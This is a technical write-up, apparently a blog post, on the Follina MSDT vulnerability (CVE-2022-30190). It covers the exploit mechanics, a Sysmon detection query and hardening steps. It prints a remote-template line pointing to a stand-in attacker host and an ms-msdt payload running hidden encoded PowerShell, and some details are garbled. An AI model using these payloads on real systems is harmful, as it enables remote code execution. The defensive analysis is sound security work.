1. May 2022: Macros Are Dead, Long Live Protocol Handlers
In May 2022, a malicious Word document submitted to VirusTotal from Belarus revealed an alarming zero-day remote code execution vulnerability in Microsoft Windows: CVE-2022-30190, dubbed Follina. The exploit bypassed all macro security controls, protected view sandboxes, and endpoint detection heuristics by invoking the Microsoft Support Diagnostic Tool (MSDT) URL protocol handler directly from external HTML templates.
2. CVE Metadata Overview
| CVE ID | CVSS | Vulnerability Type | Affected Systems |
|---|---|---|---|
| CVE-2022-30190 (Follina) | 7.8 | Remote Code Execution via MSDT URI Protocol Scheme | Windows 7 through 11, Windows Server 2008 through 2022 |
| CVE-2023-36884 | 8.3 | Office & Windows HTML RCE (RomCom / Storm-0978) | Microsoft Office 2013–2021, Windows 10/11 |
3. Technical Exploit Mechanics: How Follina Executed PowerShell
The attack chained two Microsoft Office features:
- Remote Template Injection: A crafted
.docxdocument contained a relationship XML file (word/_rels/document.xml.rels) pointing to an external HTTP URL hosted by the attacker:<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://attacker.com/exploit.html" TargetMode="External"/> - MSDT Protocol Invocation: The external HTML file contained JavaScript that redirected the browser or Office rendering engine to a custom URI scheme:
ms-msdt:/id PCWDiagnostic .... By passing a padded string of characters followed by an encoded PowerShell command in theIT_BrowseForFileargument, MSDT executed the PowerShell payload in the background without user interaction or macro warnings:<script> location.href = "ms-msdt:/id PCWDiagnostic /skip force /param "IT_ReบรbrowseForFile=true IT_LaunchMethod=ContextMenu IT_SelectProgram=NotExists IT_BrowseForFile=$(powershell -windowstyle hidden -enc JABjAG0AZAAg...)""; </script>
4. Detection and Threat Hunting Rules
# Search Windows Event Logs for suspicious MSDT process spawns
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} | Where-Object {
$_.Message -like "*msdt.exe*" -and $_.Message -like "*powershell*"
}
5. Remediation & Protocol Handler Hardening
- Apply official Microsoft security update KB5014697 / KB5014699.
- Disable the MSDT URL protocol handler across all corporate endpoints via Registry modification:
reg delete HKEY_CLASSES_ROOTms-msdt /f - Enforce Microsoft Defender Attack Surface Reduction (ASR) rule: "Block all Office applications from creating child processes" (GUID:
D4F940AB-401B-4EFC-AADC-AD5F3C50688A).
Suggested & Related Reading
Explore related engineering guides from Kenneth D'Silva:
-
PaperCut MF/NG (CVE-2023-27350): Unauthenticated Remote Code Execution
A technical examination of PaperCut MF/NG authentication bypass and remote code execution (C...
-
Atlassian Confluence OGNL Injection & Setup Bypass (CVE-2022-26134 & CVE-2023-22515)
A technical examination of Atlassian Confluence vulnerabilities (CVE-2022-26134 and CVE-2023...
-
Juniper Junos OS J-Web RCE Chain (CVE-2023-36844 to 36847): PHP Environment Injection
A technical post-mortem of Juniper Junos OS J-Web vulnerability chains (CVE-2023-36844, 3684...
-
ProxyLogon & ProxyShell: How Microsoft Exchange Was Owned in 2021
An architectural deep dive into Microsoft Exchange ProxyLogon (CVE-2021-26855) and ProxyShel...